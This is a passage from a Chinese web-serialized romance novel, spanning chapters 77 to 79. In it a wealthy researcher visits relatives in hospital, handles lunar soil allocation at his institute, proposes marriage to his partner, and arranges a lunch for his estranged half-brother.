喻馨虽然偏心夏荣这个小儿子,但夏荣名下的房产并不多。更何况其中的绝大部分还是从夏听风的遗产中直接划拨给夏荣的, 如今夏燃和夏季重新分配遗产, 曾经被分给夏荣的那一部分都被收了回来,归属于夏季名下了。 “我我最近跟朋友住一起。”夏荣轻声说,“但总借住在别人那里也不好。” 听他这么说,夏季也就没有继续追问了, 只是让夏荣记得自己刚刚说的话。 “澄清你跟喻馨以前给我泼脏水的事情,你自己承诺的可别忘了。”夏季笑眯眯的冲他摆了摆手,“行了,你们去忙吧,我走了。” 蒋靖川瞧着他好看的笑颜,只觉得自己离开娱乐圈的决定是十分正确的。 他坐夏荣的车离开的时候,忍不住发表了自己的感慨,“以前觉得娱乐圈明星光鲜亮丽,明艳动人。但其实现在看来,许多大明星还不如素人呢。你瞧夏季,过完年他都28了吧?每次见他我都要怀疑自己跟他竟然是同一个物种,怎么会有人类完全长在同类审美点上呢?” 夏荣脸上的笑容都快挂不住了,他僵笑着发动车子,“夏季的五官是继承了父母所有的优点,而且这些年他被赵嘉良养的很好。你知道养夏季这种顶级金丝雀一个年要花多少钱吗?你在娱乐圈干一年都不够他两个月生活费。” 蒋靖川对他称呼夏季为“金丝雀”略感不是,但对于夏荣抛出的费用问题十分惊叹,“看来我得努力挣钱了,不然以后娶不到漂亮老婆。” 虽然蒋靖川这话并没有特指某人,但落在夏荣耳朵里总是有些不舒服的。刚刚夏季都点出自己对蒋靖川的特殊了,可这个低情商的理工男却像是听过既忘一样,简直白瞎了自己浪费油费亲自接送他出门办事! “对了,你不是跟你爸住一起吗?为啥跟夏季说是借住朋友家?”蒋靖川忽然问。 夏荣抿了抿唇,有些难堪的说,“夏季跟我爸妈矛盾很大,我怕他多想。而且我爸干的那些事情真的不光彩,如果不是血缘关系无法斩断,我宁可自己没有这个亲爹。” 说着夏荣又叹了口气道,“其实我跟我妈也是在东窗事发,被警察找上门之后才知道,原来我爸在农村老家已经结了婚,一双儿女都念小学了。我妈其实就是个小丑,把酒吧男模当真爱,还给他生儿育女现在想想,我妈年轻的时候也是蠢到可爱呢。” “确实”这些过于隐私的事情蒋靖川不好评价,但喻馨那事儿在圈里已经传遍了。 很多人都说喻馨是身在福中不知福,但她又何尝不是一种另类的恋爱脑呢?只不过她是不识好歹的那种。 网上很多人都分析评价过,关于喻馨要如何才能翻盘重来。最后大家得出的结论只有一个,那就是除非夏听风重新活过来。 但很可惜这个唯一能不求回报为喻馨付出一切的男人却几乎是被喻馨亲手杀死的。而这个世界上除了夏听风之外,任何人都不可能为喻馨兜底,哪怕是她自认为“付出很多”的亲生儿子都不行。多么可笑啊,也不知道如今还关在看守所等待审判的喻影后得知是自己亲手堵上了唯一的生路后,心里又会作何感想呢? 思及此,在十字路口等红绿灯的时候蒋靖川忽然说,“你不是还要去看守所看你妈妈么?既然不顺路你就把我放在前面路口吧。” 夏荣:…… 夏季这两天的工作还算顺利。毕竟一个被判死刑的项目基本上没啥研究价值。大家每天划划水,写写报告,修修论文啥的,相安无事。唯一让人比较遗憾的是,他们项目组分得的那一小捧月壤要作为国际研究资料,可能会被分配给其他国家的大学实验室。 而夏季作为农业向研究组中唯一一个天文专业的工作人员,理所当然的成了负责“分土”的那个人。 1.2kg听起来好像不少,但实际上真正会拿出来跟其他国家科学家做交流的也只有不到0.2kg的配额罢了。夏季手上的收尾工作完结之后就被王院士带着到处去听各国研究员的宣讲。这不是各个实验室就“得到多少月壤样本”的竞争,而是“谁的研究方向能让有限的样本发挥更大价值”的自证说明。科学就算是要在各种脑洞中不断验证,不断辩证中发展的。 夏季跟着王老听了几个国外研究院的实验方向说明后,也有种受益匪浅,有种豁然开朗的感觉。 “虽然月壤样本在我们手中,但其他国家科学家的想法也很有建设性。我同意月亮属于全人类的说法。月亮就挂在那里,想要的人自取即可,腿长他们身上,可没人会拦着。”王老如是说,“也就是他们拿不着,所以才得低声下气来分享研究内容,想分一杯羹了。” 王老的团队接下了月壤砖的操作项目,而被踹出宗门独自发展的夏季就比较悲催了,“老师,我手里就200g跟您听了几天的学术汇报,每个听起来都超厉害的。这些老外的科研团队一个个都势在必得,这就是把我砍成臊子,也不够他们分的啊。” 具体给谁分多少夏季没有决定权,他就纯粹是个称重的负责人。但作为重量级元老王老的关门小弟子,夏季的个人倾向多少指不定就点儿可能影响大局。这使得从业多年的夏季第一次亲身体验到被阿谀奉承,被认识的不认识的人请客送礼的感觉。 而上面之所以将这个颇为重要的工作交给夏季,其实还是跟他的身家背景有点关系。 如今的夏季已经是夏氏和赵氏两个超级大公司的最大股东,他的身家加起来都快能买下半壁科学院了。若说整个华国最不可能被外部势力收买的科学家是谁,夏季虽然可能还够不着“科学家”的名头,但论忠诚度,王老的综合评分都要排夏季后头去。毕竟夏季这家伙,实在是太特么有钱了 而学术界的,除了科研能力之外,学术廉洁也一直是个经久不衰的话题。见多识广的王老还是操心的多提醒了他一嘴,“小夏你虽然不缺钱,但只要是人就不可能没有弱点。坚守原则方能走的长远,你这么年轻能走到如今的位置可以说是天时地利人和。你家小赵的付出大家也都看在眼里,可万万不能昏头啊。” 夏季“嗯”了一声,随即又笑道,“您是最了解我的,我就算昏头还能往哪儿昏呢?” 他的生活富裕,感情生活更是丰富多彩。如今喻馨进去了,夏荣被封杀,夏季正是春风得意,坐享人生赢家的时刻,目测压根没有软肋。 “永远保持理智,不要让仇恨蒙蔽了双眼。”王老拍了拍他的肩膀,有些怅然若失的说,“到时候我们烧月壤砖的时候你也过来看看吧。见识见识星辰大海被握在手中的过程,这也是小静年幼时的愿望。” 王老对夏季的移情作用,在某些程度其实更胜于他的亲外孙女王今安。 夏季并不怀疑这位老人对自己是真心实意的好,但有的事情,他如今很难说出口罢了。 “放心吧王老,我已经不是当年那个会头脑冲动的孩子了。”瞥了一眼手机屏幕上的时间,夏季冲老师投去一个安抚的笑容,“别担心,我知道自己在做什么。我晚上约了人,先走啦。” 夏季晚上约了赵嘉良一起去探望住院的高嘉丽。 之前高嘉丽做清宫手术的时候他们就过来探望过一次了。不过术后高嘉丽麻醉一直没醒,夏燃整个人的关注中心都在他老婆身上,说话都浑浑噩噩的。赵嘉良和夏季也不便多待,问候了两句,留下礼品就走了。这两天高嘉丽醒了,状态好了,能说话聊天了。正好赵嘉良也在同一家医院做复健,不顺路过去探望一下有点说不过去。 第77章 高家的大小姐多少还是有些形象包袱在的。 上次她手术刚出来的时候压根儿不愿意见人, 倒是这次赵嘉良和夏季过来的时候,她还挺热情的。 “嫂子恢复的不错啊。”夏季在人情世故这方面虽说是迟钝了点,但赵嘉良还是能完美的弥补他这一弱点, 至少在探病的礼数上, 是让人挑不出错处来的,“知道你们家啥都不缺,思来想去还是送钱最实在。” 赵嘉良把一个薄薄的红包塞给大舅哥, 摸着厚度就知道里头装的是银行卡。 不过他虽然嘴上说着是送钱,可带来的各类营养品还是让保镖团队帮忙搬上来的,直接把高嘉丽住的VIP病房给塞得满满当当的。 刚做完手术没几天的高嘉丽画着精致的妆容,已经完全看不出病容了。不过她本身月份也不算大, 这种清宫手术的技术已经很成熟了,只能算是个小手术。 看她恢复的很不错的样子, 夏燃的心情也很不错,难得的主动客气招呼了夏季两人, 客套寒暄了一番。 “这次的事情还要多谢夏季你愿意不计前嫌的帮忙了。”像邹柔柔这种医生世家, 一般人真的很难搭上这条门路。而夏燃跟高嘉丽去老教授那边看过之后, 虽然这个孩子又没能保住。但老教授说高嘉丽的身体底子其实还不错,好好调理半年她亲自帮忙备孕,争取明年生个健康孩子。 高嘉丽有些不好意思的笑了笑, “这一来二去的,折腾的我都快成高龄产妇了。” 生孩子这事儿夏季没有发言权, 只能捡些好听的话说说。一团和气之下, 他跟夏燃也倒是有了那么点儿兄友弟恭的感觉。 后面因为赵嘉良还要去复健科,不便久留,夏燃还亲自送他们去了隔壁的复健楼。 趁着赵嘉良去复健,夏燃有些不放心的把他拉到一边, 问,“你最近怎么回事?我都把夏荣从老宅赶出去了,你怎么还替他说话要他回来?” 其实夏家老宅如今也就是个空壳子了。夏燃在离开夏氏之后原地入职了高家的公司,担任高层。而高嘉丽身体不好,这种特殊时期她更愿意在父母身边生活。考虑到工作和生活的便利性,夏燃夫妻俩在未来的很长一段时间都会住在高家。因此夏荣是否会住在夏家老宅,对他们来说根本没有任何影响。 夏季有些好笑的瞥了他一眼,“怎么?我以为你们从小一起长大的,多少会有些兄弟情呢。不过是个住处问题,你怎么一副比我还恨他的模样。” “这不一样!”夏燃有些恼怒。 经过夏季的追问,原来是他怀疑夏荣知道喻馨故意给高嘉丽下药的事情。只是夏荣作为喻馨最疼爱的孩子没有把他供出来罢了。 “你这只是无端猜测。”但就跟喻馨怀疑高嘉丽知道自己杀夫杀子的事情,所以仅凭怀疑就敌视她一样。夏燃对夏荣的怀疑也是一个道理。 不过夏燃显然听不进去夏季的理智分析,不过这也能够理解。作为对恋爱脑极度了解的人,夏季十分理解夏燃对于任何可能对其老婆孩子产生威胁的人和事有强烈抵触情绪。 “不过夏荣确实不是啥好鸟,你这眼见着马上就要拖家带口了,离他远点也没问题。”夏季笑笑,“反正我也就是答应帮他这么一说,毕竟老宅那房子的户主是你,让不让他住那也是你的事情。” 听他这么说夏燃也笑了,“行吧,这恶人我来当。” 反正夏燃也是看出来了,夏季弯弯绕绕这么多无非也就是吃准了自己对夏荣恨屋及乌,是打定主意要让自己跟夏荣彻底撕破脸了。 “不过夏季,你其实完全可以放心的。我虽然跟夏荣一起长大,但我们的成长环境天差地别。” 也就是这时候夏季才第一次跟夏燃推心置腹的提及了同年往事。 “喻馨其实并不经常回家,她绝大多数时间都是跟她那个小男友住在外面,一家三口共享天伦之乐。”而被夏家长辈视作家族继承人的夏燃从记事起就很少见到母亲,甚至他的爷爷奶奶因为担心夏燃被亲妈带坏,还有意阻止他们母子相见。 虽说血浓于水,但这世间人与人之间的感情从来都不能无中生有。哪怕是世界上最紧密的母子之情也是如此,更何况,喻馨还不止只有夏燃这一个孩子。 “我承认嫉妒弟弟是个很下作没品的事情,但我控制不住。”夏燃自嘲的一笑,“知道爸爸真正死因的时候,我就知道自己这辈子都不可能原谅喻馨夏荣他们一家三口了。只是夏荣他那个亲爹是不是被放出来了?都这样了,他还能放出来?” “你消息还挺灵通,居然知道闫庆泽被放出来了。” 夏燃白了他一眼,“夏荣那种性子,被我赶出去之后自然是第一反应找爹妈。你不看娱乐新闻的吗?他跟他亲爹住一起的事情都差不多人尽皆知了。” “额我没有微博APP,也不刷短视频。”作为一个对自己高标准严要求的科研人员,夏季的私人手机内容非常简洁干练。他甚至不允许任何娱乐向APP污染自己的手机内存,因此在某些方面他的消息就不那么灵通了。 夏燃也是稍稍震惊了片刻,上下打量了他一番,“你真是90后吗?” “我一个从小立志当科学家的人,高标准严要求不是很正常?”夏季似笑非笑的看了他一眼,“不过话又说回来,我到底还是没有大哥你高风亮节。夏氏少说市值比赵氏都差不了多少了,你说不要就不要,说给我就给我了。殊不知当初我说要夏听风全部遗产,不过是拿来跟喻馨找茬罢了” “我知道。”夏燃云淡风轻道,“只是从小到大看过太多事情之后,我还是觉得这些身外之物还是不如最爱之人重要。只要我老婆孩子平安健康,就比什么都重要了。” 夏季不置可否的点了点头。 后面夏燃要回去继续陪老婆,夏季也得盯着赵嘉良复健,这两位曾经共在夏家一个屋檐下都没说上超过十句话的亲兄弟也就此别过了。看着他渐行渐远的背影,夏季说不清什么感觉。也许就跟夏燃跟喻馨的一样,明明是一家人,却因没有怎么相处过而感情淡薄。如今他们都已经各自组建新的家庭,那份曾经看起来十分重要所谓兄弟之情也变得格外微妙。就跟如今的两人的相处一般,看着两个人面上热热乎乎,单实际上手一摸,却是一个塞一个心冷如铁。 敛起笑意,夏季只希望这位被喻馨心伤透了的大哥不要再做错事才好。只是这份希望,目前看起来着实有些渺茫了。 回到复健科,赵嘉良在几位专业护理人员的陪同下正在挥汗如雨的做着康复训练。 这些日子夏季每天晚上都会雷打不动的给赵嘉良做按摩,两个人都很努力,但复健的效果真的很慢很慢。赵嘉良看着比谁都着急努力,但努力得不到回报难免会让他心浮气躁。听王秘书这几天赵嘉良动不动在公司发火,整个人跟恶龙咆哮似的,搞得公司内部人心惶惶。而夏氏那边的合并业务也出了点问题,据说十分麻烦。 具体的麻烦夏季没有细问,反正公司的麻烦归赵嘉良解决,而他只要负责解决赵嘉良这个麻烦就够了。 坐在护理室玻璃窗外最显眼的地方,以确保那家伙一转头就能看到自己后,夏季这才掏出手机开始慢悠悠的给老胡写小作文。把闫庆泽的“余孽”又勾搭上蒋靖川这种三好青年的事情添油加醋的告了一通状。虽然嘴上说着浪子回头金不换,但夏燃有句话说的没错,就夏荣那种人还是赶紧埋了为好。 而夏季这小作文还没写完,他们项目负责人的电话就打过来了,说是A国的月壤分配上面已经定下来了,让夏季下个周一要好好打扮一番,然后早点去实验室…… “好的王处长,我记下了。” 这个A国科研团队的学术分享报告夏季听过,在诸多吹得天花乱坠的他国科研团队中,A国朴实无华的研究方向实在没办法给人留下任何深刻印象。但相比于某些国家逆天的:“月球属于全人类,华国应当无条件将月壤平分给各国”言论衬托下,A国政府果断归还流落国外文物的行为就格外眉清目秀了。 只是像这种情况就难免要走点形式主义了。 夏季虽然在心里吐槽,分点土还要自己沐浴焚香,庄重正式?但嘴上还是乖巧听话,领导说什么就应什么。承诺自己下周一定不掉链子。 转头继续写小作文的时候,夏荣的消息又弹了出来,把他写一半的小作文再次打断。 夏季是前几天经由蒋靖川才加上夏荣私人联系方式的。自从被软封杀之后,夏荣似乎挺闲,三天两头给夏季发消息,搞得他不厌其烦。 估计是刚刚夏燃跟他说了点什么,这人又找上门来了。不得不说夏荣这脸皮也是真够厚的,若是换做夏季给人发一百条消息只能收到一条回复,他早就拉黑删除一条龙了。 正好赵嘉良做复健他闲的无聊,趁这个垃圾时间看看这位电子宠物又要整什么幺蛾子,丰富一下自己的小作文内容也不错。 第78章 跟夏季起初预想的不太一样的是, 夏荣这次发消息找他倒不是因为他“办事不力”,没有说服夏燃让自己重新搬回夏家老宅的事情他甚至提都没有提,就好像他本人对这事儿并不在意一般。 而事实上夏荣给夏季发的简讯内容其实也大部分围绕着蒋靖川展开的。也不知道夏荣是哪根筋儿不对, 在明知道蒋靖川是个钢铁理工大直男的情况下, 还是一脑门子扎了进去。 夏季往上翻了一下夏荣这几天给自己发的消息内容,几乎三条不离蒋靖川。那含羞带怯的表情包和黏糊暧昧的文字已经让他的意图昭然若揭了。 这让夏季忍不住回想起当初自己刚回夏家,周镇川主动提出更换联姻对象的事后。当时的夏荣就是这幅模样, 面上柔柔弱弱,不争不抢的。但很可惜的就是不会说人话。张嘴就是阴阳怪气,几句话里偏向性拉满,但某些男人却偏偏吃他这套。 只是如今夏荣这惺惺作态的对象变成夏季本人之后, 这骤然的身份调转还是让夏季感到不适的恶寒。 夏荣通篇的中心思想,其实是想让夏季帮忙给他跟蒋靖川牵个线。 但要知道在喻馨那事儿东窗事发之前, 蒋靖川这人在夏荣面前可是连给他提鞋都不配的。因为咖位的差距过于悬殊,夏荣以前根本都没拿正眼瞧过人家。夏季也不知道他是哪儿来的勇气和脸皮, 觉得如今他落魄了, 蒋靖川改行了, 人家还能回头看上他的? 不过俗话说:人不要脸,天下无敌。 夏季现在就严重怀疑夏荣此时正在极度无敌状态。反正就夏荣现在这个样子,他是由衷佩服。 一目十行的看完夏荣那叽叽歪歪的片段消息, 思忖片刻,夏季还是顺着他的意给他回了个“好”字。等夏季重新写完发给老胡的小作文之后, 赵嘉良的今日份复健也已经到达尾声了。 “宝贝儿!我这边结束啦!” 相比于前几天的复健结束的如丧考批, 今天赵嘉良满脸都写满了阳光灿烂。别看他这大冬天的,单衣都快汗湿透了,但从他这副大狗摇尾的姿态来看,今天这辛苦异常的复健显然有突破性进展。 “结束了?今天好像比平时久一些?”毕竟自从高中毕业之后, 夏季除了写论文之外就很少会写超过两千字的“小作文”了。 锁定手机屏幕的时候他顺便看了一眼时间,“有点晚了,要不去吃个宵夜再回去?” 赵嘉良欣然同意。 别看赵嘉良这人在商场上有个“笑面虎”的称号。 他这人天生爱笑,高兴的时候笑,不高兴的时候也笑。嘲讽人会笑,准备弄人的时候笑的更欢。但在夏季面前,赵嘉良的笑容从来都只有一个意思表示,非常的顺眼且不费脑。 “这都复健大半个月了,我今天才终于摸到点儿以前正常走路的感觉。”别看赵嘉良如今生活自理完全没有问题。但细看的话还是不难看出他的一些细微动作和正常人是有区别的。 本来赵嘉良这人大大咧咧的性子,大难不死还能恢复成这样他本身对医生和自己的身体情况并没有什么太大抱怨。之前王今安的导师询问他对康复目标的期许值时,他也是放宽心的实话实说。但问题是,在某些需要跟老婆单独相处的时候,因为末梢神经的不灵敏,极大的影响了他的“微操”。虽然夏季从来没有对此抱怨过什么,但从他偶尔略失落的眼神中,赵嘉良已经敏锐的自行脑补了一篇关于“我的丈夫车祸后没以前厉害”了的“隐忍的妻子”的内心独白。 这也是他为什么如此执着于尽快恢复的原因。 坐在昂贵的粤式晚茶餐厅,夏季似笑非笑的盯着面前这个男人兴致勃勃的汇报复健进度。他虽然对对方“尽快复健是为了自己的幸福生活”着想而嗤之以鼻,但不得不说,夏季最先对赵嘉良动心的一点其实并不是什么“牛顿大神的选择”,而是赵嘉良那种能够感染自己情绪的热情。 受从小成长环境的影响,夏季其实是个情感相当淡薄的人。 周小芬名义上是夏季的养母,但夏季老两口并不希望夏季跟这个胆大包天的贪财女人有过于深厚的感情。因此早熟的夏季从记事起就知道自己的真实身世,一直到周小芬去世之前,她在夏季的心目中都一直是夏家花钱雇来负责照顾自己的佣人形象。而清水村的那些村民和村子里的同龄人就更不用说了。 当时还挣扎在温饱线上的王今安甚至在最开始的时候连跟夏少爷做朋友的资格都没有。要不是她的母亲王静女士偶然为夏季启蒙,让他产生了“我要当科学家”的远大理想,而逐渐跟王静母女俩熟络起来,指不定现在王今安的孩子都能遍地跑了~ 而夏季这种情感淡薄的人,很难在没有生死知交的情况下跟另外一个人产生情绪共鸣。这么多年来,也就只有自己上赶子送上门来的赵嘉良做到了。他就是用这种近乎于入室抢劫型的追求方式,在夏季的生活里横插一脚,然后又用雄性求偶时的孔雀开屏和财富炫耀,硬生生的把夏季原本的人生规划彻底改变,并且现在也不想重新矫枉过正了。 “阿良。”夏季忽然出声打断了正兴致勃勃展望美好未来的赵嘉良的话语,“等我手上这个项目完了之后,我们就去领证结婚吧。” 夏季的忽然发话,让正说的带劲儿的赵嘉良一下子沉默了。 男人强压住心底的狂喜,“你这话可真是让我等好久啊。” “抱歉。”夏季是真心实意想向他道歉的。 但很显然,这种时刻赵嘉良需要的并不是什么抱歉的话语,而是就结婚问题更坦诚的沟通。 “宝贝,虽然我不知道你还有什么顾虑。但我承诺过,我永远都可以等你。”赵嘉良说这话也是真心实意的,“既然你准备好了,那我就要开始着手婚礼的事情咯。” 夏季微微一笑,“嗯,那就还是要劳你操心了。” 虽然是自己的婚礼,但这种流程化的事情显然还是交给赵嘉良来处理比较好。 喜出望外的赵嘉良一高兴,宵夜都多吃了几口饭。 在询问夏季关于结婚事情的具体期望时,两个都没有结婚经验的人其实光凭脑测也想不出什么好方案来。不过没吃过猪肉还没见过猪跑吗?赵嘉良忽然说,“宝贝,你回京市回的晚,没有参加夏燃的婚礼吧?” 赵嘉良会提起夏燃,是因为最近他着手操持赵夏两家企业整合的时候,就夏氏那边的公司资产和业务做整合的时候遇到了不少的棘手问题。其中就有一个夏氏名下一个太平洋小岛的问题。 这个小岛是高家送给女儿的陪嫁财产之一,被高嘉丽挂在了夏氏。而一个遥远的荒芜海岛的维护费用可是不是个小数目,随着夏氏易主,这个小岛自然而然就落到了赵嘉良手里。 拿到小岛养护费用的财报的时候赵嘉良还以为自己看错了,还特地给夏燃打过电话,让他把他老婆的陪嫁拿回去。但夏燃却说,那个岛有点靠近南半球了,他老婆过敏体质,在那个潮湿的岛上待不住。他们就结婚的时候贪图岛上的美好风景,办完装逼性质的婚礼之后这岛就一直闲置至今。 后面赵嘉良让人去打听了一下,据说这个小岛是高嘉丽他爹虚荣心上头的时候,脑子一热高价购入的,后面发现买亏了,就索性凑进女儿嫁妆里充门面。后面夏燃回了夏家之后,这个烫手山芋就被老丈人甩给了他。如今也是被被夏燃传给了赵嘉良,一个岛总不能得着一个人坑嘛~ 面对每个月几百万上千万的岛屿维护费用,如今兜里一共都掏不出一百万的赵嘉良都要哈气了。对于夏氏来说,这绝对是个稳亏不赚的负资产! 但按照国际公约,这种私人岛屿是不允许直接撒手不管的。但整个公司财务为了这个无底洞一般的坑爹玩意儿已经快吵翻天了,原本正愁怎么把它甩出去,但如今夏季忽然说起要结婚,他第一反应立刻就想到了那座美轮美奂的小岛。 “我们也搞个海岛婚礼吧,比夏燃高嘉丽他们那场婚礼更豪华梦幻的世纪婚礼,好不好?” 夏燃跟高嘉丽是姐弟恋,他刚毕业的时候就结了婚。当时赵嘉良去参加他婚礼的时候还没有执掌赵氏,是跟着赵锋锐作为家属参加的。 那场婚礼因为高嘉丽临时过敏,发生了一些小插曲,但瑕不掩瑜,两位新人的感情深厚,再加上婚庆工作做的也确实好,算是赵嘉良难得印象深刻的一场豪门婚礼了。当时赵嘉良就想过,自己的婚礼一定要比他俩办的更好,这不,现下机会来了。 “好啊。”夏季虽然不是个讲究排场的务实派,但这种能让赵嘉良开心的小事他是不介意的。毕竟情绪价值拉满也是一种快乐。 因为高兴,赵嘉良晚上一个不小心就吃的有点儿撑。 夏季提议步行走一段回家,只是结账出门后却发现天空中飘起了小雪。 赵嘉良本想拽他去停车场,但夏季却说,“只是一点小雪而已,而且,一起在雪中漫步,不会很浪漫吗?” 于是很快,赵家的保镖们便上演了五台车子在后面慢悠悠的龟速开着,因为开始下雪而空荡荡的夜路上空无一人。只剩兢兢业业保镖们的好老板们,手牵着手,在浪漫的雪夜中冻得像两个傻逼。 走了不到十分钟,夏季说“有点冷,你还是回去健身房里跑两圈消食吧。” 其实夏季本身还好,他那身价值十几万的羊绒大衣一分钱一分货,不会让他在这雪夜感到太过于寒冷。主要是赵嘉良是从公司出来直接去的医院,西装四件套怎么想都有点顶不住吧。 本想趁着今夜的气氛和心境跟赵嘉良好好谈谈的,可看着身旁这位冻得跟狗似的家伙,夏季有些懊恼的意识到自己还是大意了。 “直接回家,你还是去家里健身房消食吧。” 第79章 不得不说的是, 赵嘉良在某些方面的自律还是非常可圈可点的。 明明已经是奔三的年纪,但他的身材保持的不比一些体育生男大要好的多。 甚至由于拥有了夏季这位过于美貌的对象之后,赵嘉良在某些方面的付出投入已经远超一般人。倒不是说赵嘉良对自己的外貌不够自信, 其实赵嘉良当纨绔的那个时期就已经风骚过了。只是今时不同往日, 但凡能跟夏季这种顶级大美人沾上边的,谁能没个容貌焦虑呢? 趁着赵嘉良去健身房继续挥汗如雨的空隙,夏季看了一眼老胡发来的回复消息。跟那人的一贯风格一样, 没几句话,意简言赅。 夏季有点烦躁。心想事了之后必然要宰他一顿,不然难平自己这些日子来的忙碌心累。 自从确认月壤完全没有种植价值后,科学院也是第一时间在国际学术汇报上公布了这一结果。 随着收尾工作的结束, 夏季刚加入没多久的这个项目组很快就要分道扬镳了。当初建议他“科学服务大众”的王院士已经重新向他抛来了橄榄枝,等他手头工作完成后, 便可重回空间科学项目给自己继续当牛马。不过在那之前,种植项目组这边的最后一点附加工作还需要完成。 “夏季, 你今天注意清点一下材料工具。然后注意安全, 最近所里来来往往的外部人员还挺多的。”短暂的项目成员即将各奔东西之前, 他们那位农学大佬兼项目负责人还不忘好心提醒了夏季两句,“我看最近咱们楼下的老外都多了不少,几个有月壤的实验室安保等级都给拉到最高了。咱们这边虽然就一抔土, 但听说安保科那边下午要派人过来跟你交接,你注意一下。” “好的陈教授, 我已经接到通知了。”作为项目组的直接对接人, 夏季虽然职位不高,但在安保方面的等级却是全组拉的最满那一位。 因为他们项目的研究内容已经结束,暂时被封存的月壤将会交给保卫科统一管理。夏季脱掉护目镜和手套,声音隔着口罩有点闷闷的, 像是感冒了一般。 “小夏你是不是又病了?感冒了吗?”因为闲,几位老教授还顺带关心了一下他们项目里最年轻的这位小伙子,“瞧你瘦的我看你平时在食堂吃饭,那饭量还没我家猫大。都是成年人了,可不能挑食呐!” 夏季赶紧解释是刚刚被扬尘呛了一下,自己身体很好。但夏季很瘦倒是事实,他还是免不了被几位老教授关怀了一下。 做完手头的事情,正好时间也差不多到午饭的点了。把相关材料收纳好,夏季通知安保科人员过来取贵重材料。等安保人员到了之后他才换了衣服,顺便被同事们推搡着去食堂“好好吃饭”。 之前工作繁忙的时候大家都各自关注着手上的事情,很少有精力和心思去关心旁人的私事。但这人一旦闲下来有空了可就不一样了,尤其是他们这个项目大多是农学专业的老资历。这年头,愿意学农,并且在这个行业深耕的年轻人也没比天文物理专业还少,再加上项目过于高大上,没点资历的年轻种地选手连进组来打下手的资格都没有。这就使得夏季在整个项目组里显得年轻到有些突兀了~ 夏季即使再三解释说自己中午约了人一起吃饭,但面对同事们的热情,他还是决定跟他们一起去单位食堂坐坐。 同事们一起吃饭闲聊的时候,就有人关心起了夏季的个人生活问题。夏季虽然长得年轻漂亮,跟朵花似的。但毕竟都博士后了,再年轻也年轻不到哪儿去。只是让夏季没想到的是,自己跟夏家还有赵家的事情这段时间在网上都闹的满城风雨,他身边这群可爱的老教授们,竟然连喻馨夏荣是谁都不知道。 不过转念一想也挺合理,毕竟若不是血缘关系摆在那里,就夏季这种不听歌不追剧,甚至一切娱乐APP都全盘杜绝的人,恐怕还真没啥途径能知晓喻馨和夏荣的那些话题讨论。 夏季便只要了杯咖啡,不紧不慢的喝着。等天聊得差不多了,他的手机也响了。 夏荣是昨天就跟夏季打过招呼的,但夏季没仔细看他发的消息,也就没有注意他说的具体时间。不过夏荣对于他的这种明显的怠慢却视而不见,可以说是识时务到了极点。 “夏季,这边。”穿戴着明星四件套的夏荣裹得严实的真就是妈都认不出来了。 夏季甚至听到声音后在科学院大门口原地转了两圈,都没能从一堆饭点送外卖的红黄蓝三色大军中找出夏荣的身影。 “这边!”最后还是夏荣拨开人群,拽了他一把夏季才看清来人。 看着夏荣身上臃肿的蓝色冲锋衣,夏季眉头紧锁,“你很饿吗?” 戴着同色头盔和黑色口罩的夏荣在长刘海的遮掩下,连眼睛都看不到。 夏荣有些恼怒的低声说,“这还不是都托你家赵总的那位好手下的福!” 虽然能猜到肯定是那位阿久又干了什么逆天事儿,不过夏季直接选择了没听到。跟门卫打了个招呼后,他带夏荣进了门。按照他昨天答应的,他会帮夏荣见蒋靖川一面。当然,这是仅此一次的。 只是之前预想过很多次,夏荣会怎么搔首弄姿,故作柔弱吸引一个理工科直男注意力的夏季,是打死也没有想到,夏荣竟然是一身膨胀外卖骑手打扮过来的。再加上最近情况特殊,科学院的安保等级提高了许多。许多荷枪实弹的安保人员随处可见,这就使得从大门口到数学楼这一路不到十分钟的路程,夏季被不下八位安保人员提醒“外卖人员不得入内”。 夏季解释了一路,最后实在忍不住说,“你能不能把你那破外套给脱了?” 只是京市的雪还没停。夏荣只稍稍把领口拉下来一点就被冻得一个机灵,“太冷了,进室内了再脱行吗?” 夏季无语了。 不过看着这一路的高戒备状态,夏荣有些好奇的问,“我上次过来的时候也没这么多保安啊,你们单位最近是有什么大事吗?” 夏季白了他一眼,“跟你没关系的事情少打听。” 因为夏季提前跟蒋靖川打过招呼,所以午休的时间蒋靖川没有去食堂吃饭,而是在休息室等着他们。 夏季过来敲门的时候他已经等的有点儿饿了,正准备出门找点儿零食就看到夏季他们来了。 “诶,你俩可算来了。” 见他像是一眼就认出了自己身后的夏荣,夏季原本还感觉蒋靖川这人是不是真的跟夏荣有一腿儿了。毕竟若是换成自己套个麻袋,能在茫茫人群中一眼认出自己的估计也就只有赵嘉良那个二傻子。 不过当夏季再回头的时候,夏荣已经在他埋头往前走的时候摘了头盔和脱了外套。他就这么穿着单薄的米白色羊绒衫,哆哆嗦嗦的跟在夏季身后。被夹着雪花的北风那么一吹,一张小脸白惨惨的,看着好不可怜。 对前情毫不知情的蒋靖川搓了搓手,对夏荣的卖惨毫无反应。 其实他的这个反应才是一个心智正常的成年人对另外一个成年男人故意卖惨的正常反应。 只是以前夏荣这么干的时候,他的表演受众除了外人的粉丝滤镜之外,就是喻馨这个心偏到咯吱窝的亲妈,这才让夏季受了不少委屈。一旦观看表演的人便正常了,夏荣以前屡试不爽的小心眼就一点儿用都没 蒋靖川倒是没想那么多,他搓了搓手说,“餐厅我已经定好了,咱们现在就出发呗?” “你请客,就按你说的来。” 这次跟蒋靖川吃饭就是因为他早前因为上节目的时候,是被夏季的一番话点醒的。 如今他能重新回到自己擅长的领域夏季功不可没,哪怕原本夏季参加节目并不是奔着蒋靖川的事情去的。这顿饭其实蒋靖川跟夏季已经说好很久了,只是一直不得空。如今蒋靖川读研的事情已经定下来了,他的导师是学术界非常有名的大拿,名气不逊于夏季的老师王院士。 而蒋靖川这次请夏季吃饭的时候,夏季特地多提了一嘴说要带上夏荣的时候他还挺意外。因为不管是从外界的舆论还是上真人秀节目时的眼见为实,蒋靖川都认为这对兄弟应该并不是那种能坐在一张桌子上吃饭的关系。但毕竟是别人的家事,而且夏季这人虽然看着漂漂亮亮的,但真接触起来就会发现他不仅长得好看的像个假人,性格更是冰冷的像个塑料模特。因此蒋靖川也没有细问,反正只是吃饭的时候多加一个人而已,哪怕那个人会让自己感到有些尴尬 而蒋靖川这次请客的餐厅选的距离科学院有点远,因为蒋靖川没有车,夏荣也不知道是怎么过来的,赵嘉良给夏季安排的保镖大队也就起到了作用。一台装备精良的防弹悍马坐着并不怎么舒服,但安全性绝对是拉满。 蒋靖川摸了摸这台硬汉的理想型,感慨道,“这车不便宜吧?” 